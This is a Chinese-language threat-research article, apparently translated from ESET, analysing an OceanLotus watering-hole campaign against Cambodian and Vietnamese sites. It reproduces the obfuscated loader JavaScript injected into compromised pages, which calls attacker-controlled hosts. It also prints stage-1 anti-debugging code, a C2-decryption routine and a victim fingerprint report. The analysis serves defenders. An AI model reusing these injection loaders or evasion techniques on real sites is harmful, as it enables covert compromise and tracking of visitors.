导语:ESET研究人员发现OceanLotus组织攻击东南亚政府组织的新水坑攻击活动。
ESET研究人员发现攻击东南亚的新水坑攻击活动,该攻击活动自2018年9月开始活跃。研究人员共识别出21个被入侵的网站,其中有柬埔寨国防部、外交和国际合作部以及越南的新闻和博客网站。
研究人员分析发现该活动是由OceanLotus组织发起的。OceanLotus也叫做APT 32,APT-C-00,从2012年开始活跃,主要攻击外国政府和持不同政见者。
技术分析
攻击者再index页面或服务器上的Javascript文件中加入了JavaScript代码,代码是经过混淆的,如图2所示。然后加载另一个来自攻击者控制的服务器上的脚本。脚本https://www.mfaic.gov[.]kh/wp-content/themes/ministry-of-foreign-affair/slick/slick.min.js被加入到中,用于加载来自https://weblink.selfip[.]info/images/cdn.js?from=maxcdn的文件。
(function() { var pt = "http"; var l = document.createElement('script'); l.src = pt + "s://" + arguments[0] + arguments[2] + arguments[3] + 'ip.' + 'info/images/cdn.js?from=maxcdn'; document.getElementsByTagName('body')[0].appendChild(l) })('web', 'a', 'link', '.self');
加入到mfaic.gov[.]kh网站的 JavaScript代码
为了绕过检测,攻击者采取了以下措施:
· 混淆脚本来预防对final URL的静态分析;
· URL与网站使用过的真实的JavaScript库非常相似;
· 每个被黑的站点使用不同的域名和URI;
· 每个被黑的站点使用不同的脚本。
下面代码段是插入到另一个被黑的网站的脚本:
var script = document.createElement("script"); var i = 'crash-course'; var s = "fzgbc knowsztall znfo"; var _ = '/'; var e = "VisitorIdentification.js?sa=" + i; script.async = true; script.src = "htt" + "ps:" + _ + _ + s.split(" ").map(x => x.replace("z", "i")).join(".") + _ + e; var doc = document.getElementsByTagName('script')[0]; doc.parentNode.insertBefore(script, doc);
插入目标网站的另一个JavaScript
stage 1
根据访问者的IP地址位置,stage 1服务器负责传播诱饵脚本或stage 1脚本。并不是所有的服务器都会进行位置检查,但如果启用了,只有来自越南和柬埔寨的访问者才能接收到恶意脚本。
Stage 1脚本含有多项检查来绕过检测,如下所示:
[…] function t(n) { var r = this; !function (t, n) { if (!(t instanceof n)) throw new TypeError('Cannot call a class as a function'); }(this, t), this.t = { o: null, s: !0 }, this.scr = !0, this.r(), this.i = !0, window.addEventListener('scroll', function () { r.i || r.scr && !r.t.s && (r.scr = !1, r.c(n)), r.i = !1; }); } return t.prototype.r = function () { var t = this; setInterval(function () { var n = window.outerWidth - window.innerWidth > 160, r = window.outerHeight - window.innerHeight > 160, e = n ? 'vertical' : 'horizontal'; r && n || !(window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized || n || r) ? (t.t.s = !1, t.t.o = null) : (t.t.s = !0, t.t.o = e); }, 500); } […]
stage 1 JavaScript payload
脚本会等用户滑到页面底部,脚本还会检查窗口的分辨率以确定是否启用Firebug。如果检查失败就停止执行。
然后,用定制的算法解密C2域名。比如3B37371M1B1B382R332V1A382W36392W2T362T1A322T38会解密为wss://tcog.thruhere[.]net。对于每个stage 1域名,攻击者会注册一个不同的stage 2域名,每个域名都托管在不同的服务器上。下面的python解密函数代码是等价的。
def decrypt(encrypted_url): s = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" return "".join(chr(s.index(encrypted_url[e]) * 36 + s.index(encrypted_url[e+1])) for e in range(0,len(encrypted_url),2))
解密C2服务器的Python代码
C2地址解密后,脚本会发送一个唯一的15个数字的字符串,然后接收并执行stage 2脚本。所有的通信都是通过WebSocket经过SSL执行的。协议允许客户端和服务器全双工通信。也就是说,客户端建立连接后,服务器可以在客户端未发送请求的情况下向客户端发送数据。但这里使用websocket的目的是为了绕过检测。
Stage 2
Stage 2脚本是一个侦察脚本,OceanLotus开发者重用了GitHub上的Valve fingerprintjs2库,并进行了简单修改。图6是脚本执行的不同动作。所有的通信都是通过stage 1打开的websocket session进行的。
stage 2 payload流
通信使用服务器生成的AES session key加密。使用RSA 1024位公钥加密,并发送给客户端。因此无法解密客户端和服务器之间的通信。
与之前的水坑攻击框架相比,这次的攻击活动更难检测,因为通过网络发送的数据无法检测到。因此这会组织数据的网络检测。
侦察脚本会建立一个指纹报告,并发送给Stage 2 C2服务器。
{ "history": { "client_title": "Ministry%20of%20Foreign%20Affairs%20and%20International%20Cooperation%20-", "client_url": "https://www.mfaic.gov.kh/", "client_cookie": "", "client_hash": "", "client_referrer": "https://www.mfaic.gov.kh/foreign-ngos", "client_platform_ua": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36", "client_time": "2018-10-21T12:43:25.254Z", "timezone": "Asia/Bangkok", "client_network_ip_list": [ "192.168.x.x", "x.x.x.x" ], "client_api": "wss://tcog.thruhere.net/", "client_zuuid": "defaultcommunications39e10c84a0546508c58d48ae56ab7c7eca768183e640a1ebbb0cceaef0bd07cedefaultcommunications9360af458bb80c43fd1f73190b80dbfb0b276c48a8a6d453444dae086bc77be7", "client_uuid": "a612cdb028e1571dcab18e4aa316da26" }, "navigator": { "plugins": { "activex": false, "cors": true, "flash": false, "java": false, "foxit": true, "phonegap": false, "quicktime": false, "realplayer": false, "silverlight": false, "touch": false, "vbscript": false, "vlc": false, "webrtc": true, "wmp": false }, "_screen": { "width": 1920, "height": 1080, "availWidth": 1920, "availHeight": 1080, "resolution": "1920x1080" }, "_plugins": [ [...]
指纹报告
该报告与OceanLotus Framework B生成的报告几乎一模一样。不同的地方也很相似,都含有相同的打印错误。基于这些相似之处和目标的位置,研究人员相信是OceanLotus发起的这次攻击活动。
报告中含有受害者浏览器和访问的网站的详细信息:user-agent, HTTP Referer, t本地和外部IP地址,浏览器插件和浏览器的配置语言首选项。
不同点是每个机器都有2个唯一的id,分别是client_zuuid和client_uuid。这可能是用来识别用户和追踪的。这些id也存在于2017版的framework中,而且计算client_uuid的方法也是一样的。
client_zuuid是navigator.mediaDevices.enumerateDevices中的不同deviceId值加起来的。设备是可以访问浏览器的外部设备,比如照相机、麦克风等。该值对给定用户来说是不变的。
client_uuid是fingerprintjs2提取的指纹信息的MD5哈希值。在收集的信息中有浏览器user-agent、语言、时区、浏览器插件、字体。除非用户更新浏览器或使用不同的设备,否则该值对给定用户来说应该是不变的。
最后,服务器可以发送额外的JavaScript代码到受害者计算机,这段代码应该就是真实的payload。但是因为使用了AES session key来加密通信,因此研究人员不能识别攻击者发送的payload。而且payload只发送给特定的目标,因此就无法用测试机器来获取payload。
网络基础设施
为了绕过检测,OceanLotus对每个被黑的站点分别注册了stage 1和stage 2的域名。每个域名都托管在不同IP地址的不同服务器上,攻击者注册了至少50个域名和50个服务器。
而且大多数的stage 1域名都是在免费的域名服务上注册的,大多数stage 2的域名都是付费的。而且攻击者也在模仿非恶意的网站来看似合法的。表3是攻击者模仿的服务列表。
攻击者模仿的合法网站
结论
OceanLotus组织仍然在不断攻击东南亚地区,但是使用的工具集和攻击技术在不断改善,包括使用水坑框架和Windows、macOS恶意软件。本文描述的OceanLotus活动中攻击的复杂度和熟练度都提高了,也说明该APT组织需要长期关注。